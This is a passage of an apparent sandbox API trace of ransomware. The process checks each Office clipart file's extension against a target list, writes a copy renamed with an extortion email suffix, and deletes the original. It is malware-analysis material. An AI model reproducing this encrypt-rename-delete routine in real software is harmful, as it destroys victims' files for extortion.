lpString2="WMF") returned -1 [0221.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0221.165] lstrlenW (lpString=".dbf") returned 4 [0221.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0221.165] lstrlenW (lpString=".1cd") returned 4 [0221.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0221.165] lstrlenW (lpString=".jpg") returned 4 [0221.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.166] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=46814) returned 1 [0221.166] CloseHandle (hObject=0x22c) returned 1 [0221.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x20 [0221.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0221.166] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.166] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.167] GetLastError () returned 0x0 [0221.167] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xb6de, lpOverlapped=0x0) returned 1 [0221.189] WriteFile (in: hFile=0x220, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xb6e0, lpOverlapped=0x0) returned 1 [0221.190] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.193] WriteFile (in: hFile=0x220, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.194] SetEndOfFile (hFile=0x220) returned 1 [0221.194] CloseHandle (hObject=0x220) returned 1 [0221.194] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.194] SetEndOfFile (hFile=0x22c) returned 1 [0221.195] CloseHandle (hObject=0x22c) returned 1 [0221.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0221.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0221.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0221.195] lstrlenW (lpString=".doc") returned 4 [0221.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.195] lstrlenW (lpString=".docx") returned 5 [0221.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.195] lstrlenW (lpString=".pdf") returned 4 [0221.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.195] lstrlenW (lpString=".xls") returned 4 [0221.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.195] lstrlenW (lpString=".xlsx") returned 5 [0221.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.195] lstrlenW (lpString=".ppt") returned 4 [0221.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0221.195] lstrlenW (lpString=".zip") returned 4 [0221.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.195] lstrlenW (lpString=".rar") returned 4 [0221.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.195] lstrlenW (lpString=".bz2") returned 4 [0221.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.195] lstrlenW (lpString=".7z") returned 3 [0221.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0221.195] lstrlenW (lpString=".dbf") returned 4 [0221.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0221.195] lstrlenW (lpString=".1cd") returned 4 [0221.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0221.195] lstrlenW (lpString=".jpg") returned 4 [0221.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.196] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=6068) returned 1 [0221.196] CloseHandle (hObject=0x22c) returned 1 [0221.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x20 [0221.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0221.197] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.197] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.197] GetLastError () returned 0x0 [0221.197] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x17b4, lpOverlapped=0x0) returned 1 [0221.221] WriteFile (in: hFile=0x220, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0221.222] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.222] WriteFile (in: hFile=0x220, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.222] SetEndOfFile (hFile=0x220) returned 1 [0221.222] CloseHandle (hObject=0x220) returned 1 [0221.223] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.223] SetEndOfFile (hFile=0x22c) returned 1 [0221.223] CloseHandle (hObject=0x22c) returned 1 [0221.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0221.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0221.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0221.224] lstrlenW (lpString=".doc") returned 4 [0221.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.224] lstrlenW (lpString=".docx") returned 5 [0221.224] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.224] lstrlenW (lpString=".pdf") returned 4 [0221.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.224] lstrlenW (lpString=".xls") returned 4 [0221.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.224] lstrlenW (lpString=".xlsx") returned 5 [0221.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.224] lstrlenW (lpString=".ppt") returned 4 [0221.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0221.224] lstrlenW (lpString=".zip") returned 4 [0221.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.224] lstrlenW (lpString=".rar") returned 4 [0221.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.224] lstrlenW (lpString=".bz2") returned 4 [0221.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.224] lstrlenW (lpString=".7z") returned 3 [0221.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0221.224] lstrlenW (lpString=".dbf") returned 4 [0221.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0221.224] lstrlenW (lpString=".1cd") returned 4 [0221.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0221.224] lstrlenW (lpString=".jpg") returned 4 [0221.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.224] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=4074) returned 1 [0221.224] CloseHandle (hObject=0x22c) returned 1 [0221.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x20 [0221.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0221.226] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.226] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.226] GetLastError () returned 0x0 [0221.226] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xfea, lpOverlapped=0x0) returned 1 [0221.276] WriteFile (in: hFile=0x220, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xff0, lpOverlapped=0x0) returned 1 [0221.276] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.276] WriteFile (in: hFile=0x220, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.277] SetEndOfFile (hFile=0x220) returned 1 [0221.277] CloseHandle (hObject=0x220) returned 1 [0221.277] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.277] SetEndOfFile (hFile=0x22c) returned 1 [0221.277] CloseHandle (hObject=0x22c) returned 1 [0221.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0221.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0221.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0221.278] lstrlenW (lpString=".doc") returned 4 [0221.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.278] lstrlenW (lpString=".docx") returned 5 [0221.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.278] lstrlenW (lpString=".pdf") returned 4 [0221.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.278] lstrlenW (lpString=".xls") returned 4 [0221.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.278] lstrlenW (lpString=".xlsx") returned 5 [0221.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.278] lstrlenW (lpString=".ppt") returned 4 [0221.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0221.278] lstrlenW (lpString=".zip") returned 4 [0221.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.278] lstrlenW (lpString=".rar") returned 4 [0221.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.278] lstrlenW (lpString=".bz2") returned 4 [0221.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.278] lstrlenW (lpString=".7z") returned 3 [0221.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0221.278] lstrlenW (lpString=".dbf") returned 4 [0221.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0221.278] lstrlenW (lpString=".1cd") returned 4 [0221.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0221.278] lstrlenW (lpString=".jpg") returned 4 [0221.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.281] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=11002) returned 1 [0221.281] CloseHandle (hObject=0x220) returned 1 [0221.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x20 [0221.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.282] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.282] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0221.282] GetLastError () returned 0x0 [0221.282] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x2afa, lpOverlapped=0x0) returned 1 [0221.307] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x2b00, lpOverlapped=0x0) returned 1 [0221.307] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.309] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.310] SetEndOfFile (hFile=0x20c) returned 1 [0221.310] CloseHandle (hObject=0x20c) returned 1 [0221.310] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.310] SetEndOfFile (hFile=0x220) returned 1 [0221.310] CloseHandle (hObject=0x220) returned 1 [0221.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0221.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0221.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0221.336] lstrlenW (lpString=".doc") returned 4 [0221.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.336] lstrlenW (lpString=".docx") returned 5 [0221.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.337] lstrlenW (lpString=".pdf") returned 4 [0221.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.337] lstrlenW (lpString=".xls") returned 4 [0221.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.337] lstrlenW (lpString=".xlsx") returned 5 [0221.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.337] lstrlenW (lpString=".ppt") returned 4 [0221.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0221.337] lstrlenW (lpString=".zip") returned 4 [0221.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.337] lstrlenW (lpString=".rar") returned 4 [0221.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.337] lstrlenW (lpString=".bz2") returned 4 [0221.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.337] lstrlenW (lpString=".7z") returned 3 [0221.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0221.337] lstrlenW (lpString=".dbf") returned 4 [0221.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0221.337] lstrlenW (lpString=".1cd") returned 4 [0221.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0221.337] lstrlenW (lpString=".jpg") returned 4 [0221.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.337] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.337] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.338] GetLastError () returned 0x0 [0221.338] ReadFile (in: hFile=0x210, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x5c0, lpOverlapped=0x0) returned 1 [0221.345] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5d0, lpOverlapped=0x0) returned 1 [0221.346] ReadFile (in: hFile=0x210, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.346] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.346] SetEndOfFile (hFile=0x1f8) returned 1 [0221.346] CloseHandle (hObject=0x1f8) returned 1 [0221.346] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, 